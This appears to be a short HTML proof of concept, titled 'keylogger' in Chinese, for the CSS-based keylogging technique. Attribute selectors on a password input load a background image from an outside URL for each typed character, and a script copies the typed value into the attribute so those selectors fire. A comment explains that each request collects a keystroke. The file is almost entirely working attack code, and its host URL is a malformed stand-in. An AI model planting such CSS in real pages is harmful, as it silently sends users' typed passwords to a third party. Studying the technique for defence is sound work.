<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>键盘记录器</title>
    <style>
        input[type="text"][value$='1'] {
            background-image: url('http://baidu/com/1');
        }
        input[type="text"][value$='2'] {
            background-image: url('http://baidu/com/2');
        }
        input[type="text"][value$='3'] {
            background-image: url('http://baidu/com/3');
        }
        input[type="text"][value$='4'] {
            background-image: url('http://baidu/com/4');
        }
        input[type="text"][value$='5'] {
            background-image: url('http://baidu/com/5');
        }
        input[type="text"][value$='6'] {
            background-image: url('http://baidu/com/6');
        }
        input[type="text"][value$='7'] {
            background-image: url('http://baidu/com/7');
        }
        input[type="text"][value$='8'] {
            background-image: url('http://baidu/com/8');
        }
        input[type="text"][value$='9'] {
            background-image: url('http://baidu/com/9');
        }
        input[type="text"][value$='q'] {
            background-image: url('http://baidu/com/q');
        }
        input[type="text"][value$='w'] {
            background-image: url('http://baidu/com/w');
        }
    </style>
</head>
<body>
    <input type="text" name="" id="my_pwd">
    <script>
        let inputEle = document.getElementById('my_pwd');
        inputEle.addEventListener('input', function(e) {
            console.log('pwd=>', e, inputEle.value);
            inputEle.setAttribute('value', inputEle.value);
        });


        // 键盘记录器原理是利用css选择器匹配对应的dom节点发送对于的请求进行收集
    </script>
</body>
</html>